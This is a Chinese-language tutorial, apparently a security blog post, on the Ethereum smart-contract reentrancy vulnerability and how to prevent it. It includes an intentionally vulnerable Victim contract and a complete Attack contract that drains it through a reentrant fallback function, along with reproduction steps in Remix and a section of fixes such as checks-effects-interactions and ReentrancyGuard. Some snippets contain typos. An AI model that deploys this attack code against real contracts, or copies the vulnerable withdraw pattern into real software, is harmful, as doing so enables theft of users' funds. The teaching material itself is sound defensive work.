深入智能合约重入漏洞

0x01 前言

智能合约的重入漏洞是一个非常经典的漏洞,其产生了非常严重的后果,诸如以太坊分叉等。本文将深入分析其产生的原因和预防机制。

0x02 预备知识

  1. 合约地址与外部地址的异同

    外部账户 EOA

    • 由私钥控制
    • 拥有 ether 余额
    • 可以直接发送交易
    • 不包含相关执行代码
    • 可以与合约进行交互,使其执行其上存储的代码

    合约账户

    • 无法使用私钥控制
    • 拥有 ether 余额
    • 通过代码发送交易
    • 含有执行代码
    • 当被外部调用时,可以执行相应代码
    • 拥有自己的独立存储状态,且可以调用其他合约
  2. fallback函数

    也被称为回调函数,在官方文档中时这么描述的

    1
    A contract can have exactly one unnamed function. This function cannot have arguments and cannot return anything. It is executed on a call to the contract if none of the other functions match the given function identifier (or if no data was supplied at all).

    默认的fallback函数在合约实例中表现形式即为当且仅当只有一个不带参数没有返回值的匿名函数,可以被重写

    fallback函数被调用的时机:

    • 当外部账户或其他合约向该合约地址发送 ether 时;
    • 当外部账户或其他合约调用了该合约一个不存在的函数时;
  3. call函数

对于一个合约来说,我们要实现对其的使用,也就是外部调用,就需要使用到call函数。这种情况下call 有两种使用方式

1
2
<address>.call(bytes) //Call消息传递
<address>.call(函数选择器, arg1, arg2, …) //Call函数调用

call函数的返回值为true或者false。当且仅当消息传递或函数调用成功时发挥true,其余情况如消息传递失败,函数调用失败,gas费率超出区块上限等时,返回false。

call的另外一种很重要的作用就是转账,其使用方式为

1
<address>.call.value(account).gas(limit_gas)()

并且call函数是transfer与send的底层函数

0x03 简单分析

来看一段代码

1
2
3
4
5
6
function withdraw(uint _amount) public {
if (amount <= balances[msg.sender]) {
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
}

该函数的功能是实现提款操作。用户输入提现的金额,函数对用户的余额进行判断,如果大于等于提现的金额,就使用call函数进行转账,在对用户余额进行相应的扣除。认真读下来似乎没有什么问题,但是在call函数的使用上存在明显的错误。下面将进行分析

如果msg.sender是一个外部地址的话,是正常的转账操作,不会出现什么问题。
但是如果msg.sender是一个合约地址的话,call未指定调用的函数,就会默认调用
调用fallback函数。此时用到fallback函数的另一个性质,可以被重写。

此时我们的withdraw函数的执行停止在 msg.sender.call.value(_amount)();这一行,也就是说我们在合约的上面的余额还没有被扣除,我们依旧能够绕过 if (amount <= balances[msg.sender])的判断进行转账操作,我们可以这么写

1
2
3
4
5
contract Attack {
function() payable{
victim.withDraw(mag.value);
}
}

第一次我们使用withdraw函数时,受害合约会使用call给我们的合约转账,由于没有指定调用函数,会默认调用我们写的fallback函数中,我们在fallback函数中再次调用受害合约的withdraw函数,从而再次给我们转账,又会再一次触发我们的写fallback函数,如此往复陷入一个循环。

此循环的结束条件:

  • 合约的余额不足以给我们的合约转账的时候
  • 本次调用的gas费率达到上限—Gas Limit

那么对于存在这种问题的合约如何攻击呢?

0x04 复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity ^0.4.10;

contract Victim {
address owner;
mapping (address => uint256) balances;

event withdrawLog(address, uint256);

function Victim() { owner = msg.sender; }
function deposit() payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) {
require(balances[msg.sender] >= amount);
withdrawLog(msg.sender, amount);
msg.sender.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) {
return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) {
return balances[addr]; }
}

让我们把受害合约的功能简单完善一下

  • owner 记录合约所有者
  • balances 记录参与者的参与资金情况
  • withdrawLog 记录每一次转账
  • victim() 构造函数,对合约进行初始化,设定合约所有者
  • deposit() 用于接受参与者的资金,并更新记录
  • withdraw() 用于提款
  • balanceOf() 查询本合约的余额
  • balanceOf(address addr) 查询指定地址的余额
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
function setVictim_adress(address target) ownerOnly {
victim = target;
}
function sendmoney() ownerOnly payable {
if (this.balance >= 1 ether) {
victim.call.value(1 ether)(bytes4(keccak256("deposit()")));
}
}
function withdraw() ownerOnly {

victim.call(bytes4(keccak256("withdraw(uint256)")), 1 ether);
}
function startAttack() ownerOnly {
sendmoney();
withdraw();
}
function stopAttack() ownerOnly {
selfdestruct(owner);
}

function () payable {
victim.call(bytes4(keccak256("withdraw(uint256)")), 1 ether);
}
}

完善我们的攻击合约:

  • owner 记录合约所有者
  • victim 记录受害合约地址
  • ownerOnly 设置仅供合约中调用的关键词
  • Attack() 构造函数,对合约进行初始化,设定合约所有者
  • setVictim() 设定受害合约地址
  • sendmoney() 调用victim的deposit()进行转账
  • withdraw() 调用victim的withdraw()进行转账
  • startAttack() 集合sendmoney()与withdraw()
  • stopAttack() 使用自毁函数将攻击合约的资金转移到owner账户
  • () 重写fallback函数

复现流程

使用remix部署受害合约之后,使用账户一打入5eth,可以从以太坊浏览器上面查询

image-20210722133001108

此时我们切换到我们的账户二,部署攻击合约,同时调用setVictim实例化一下

截屏2021-07-22 15.05.46

此时便可以调用startAttack进行攻击,在调用的时候需要多一些gas,避免失败

攻击成功后,可以查询到所有攻击流程

截屏2021-07-22 15.09.39

image-20210722151041460

最后调用stopattack转钱跑路

image-20210722151254363

复现的时候注意把握合约的余额与调用一次withdraw提现余额之间的关系,建议在1-5倍之间,避免发生out of gas 从而导致攻击失败

0x05 修复建议

  1. 指定gas费率,一次转账仅需消耗21000gas,可以这么做
1
2
msg.sender.call.value(amount).gas(23000)();
//因为可能存在其他的计算,如果只制定21000,会有较高的机率发生失败,因此需要预留一部分gas
  1. 使用其他转账函数
  • send address.send(uint256 amount) returns (bool)

  • 向address发送amount数量的Wei(注意单位),如果执行失败返回false。发送的同时传输2300gas,gas数量不可调整

  • transfer address.transfer(uint256 amount)

  • 向address发送amount数量的Wei(注意单位),如果执行失败则throw。发送的同时传输2300gas,gas数量不可调整

1
2
msg.sender.send(amount);
mag.sender.transfer(amount);
  1. 采用checks-effects-interactions模式

把对余额的操作放在转账之前

1
2
balances[msg.sender] -= amount;
msg.sender.call.value(amount)();

这样,每次攻击者想要提现都必须先执行余额变动操作,就无法实现重入了

  1. 使用互斥锁

该攻击的关键在于合约的withdraw函数无法完整的执行,停停留在call层面,如果我们能让其的执行变成一个整体,就像mysql的事务一样,就可以有效防止重入。

1
2
3
4
require(!locked, "Reentrant call detected!");
locked = true;
...
locked = false;

把我们需要执行的代码插入其中,就能保证每次执行是一次完整的。

  1. 使用OpenZeppelin官方的ReentrancyGuard合约

OpenZeppelin官方在ReentrancyGuard合约中定义了nonReentrant函数修饰词,可以在关键函数中使用,防止重入

1
2
3
4
5
6
7
8
9
10
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}

与互斥锁的思想差不多,但是其官方将其封装成函数修饰词使用

  1. 采用pull payment模式PullPayment合约

其核心的思想是不直接将资金发送给接受者,而是每一笔交易去新建一个合约,由接受者自己去提取。

0x06 总结

合约在开发过程中,使用了危险的函数,并且使用不安全的交互模式。两者叠加在一起造就了以太坊非常经典的重入漏洞。其中最有代表性的攻击 The Dao
分析报告:Analysis of the DAO exploit